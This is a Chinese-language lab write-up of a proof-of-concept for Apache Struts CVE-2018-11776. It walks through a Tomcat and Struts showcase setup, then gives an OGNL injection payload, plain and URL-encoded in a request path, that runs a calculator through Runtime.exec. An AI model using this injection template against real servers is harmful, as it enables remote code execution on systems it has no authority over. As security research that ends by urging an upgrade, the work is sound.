
概念验证(PoC)漏洞利用代码,以便我能快速评估有哪些可用的防护和修复方案。
最初由 Semmle 的 Man Yue Mo 发现:https://semmle.com/news/apache-struts-CVE-2018-11776
Semmle 曾将 "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" 的 YouTube 视频上传过一阵子,但我觉得它已经下架了,或者至少不再链接到 Semmle:https://www.youtube.com/watch?v=5SDNX20SLJ0
我参考了上述信息,然后开始查看 struts 仓库中的提交:https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5
我太懒了,不想去搞 Docker 或什么鬼东西……
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get install default-jdk vim net-tools
mkdir ~/sources
cd ~/sources
wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz
tar xvzf apache-tomcat-7.0.90.tar.gz
sudo mv apache-tomcat-7.0.90 /opt/tomcat
vim ~/.bashrc
export JAVA_HOME=/usr/lib/jvm/default-java
export CATALINA_HOME=/opt/tomcat
. ~/.bashrc
sudo vim /opt/tomcat/conf/tomcat-users.xml
<user username="username" password="password" roles="manager-gui,admin-gui" />
cd ~/sources
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
http://127.0.0.1:8080/manager/html
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
http://127.0.0.1:8080/manager/html
vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
date.action 已经定义好了,所以我们只是额外添加了一个调用 date.action 的重定向 action。
默认情况下,alwaysSelectFullNamespace 应设为 True。
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp
%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}
127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action
127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action
在存在漏洞的 Ubuntu 主机上执行后,我们应该会看到一个全新的计算器实例弹出。
https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5
Struts 的另一个非常特殊且存在漏洞的实现。媒体对这漏洞的报道让所有人都惊慌失措,但实际上只有最马虎的代码/配置才真正容易受影响……我想不出有什么高效、隐蔽的方法能够可靠地发现和/或利用这个漏洞。我的建议:直接他妈的升级 struts 吧……(或者干脆别用)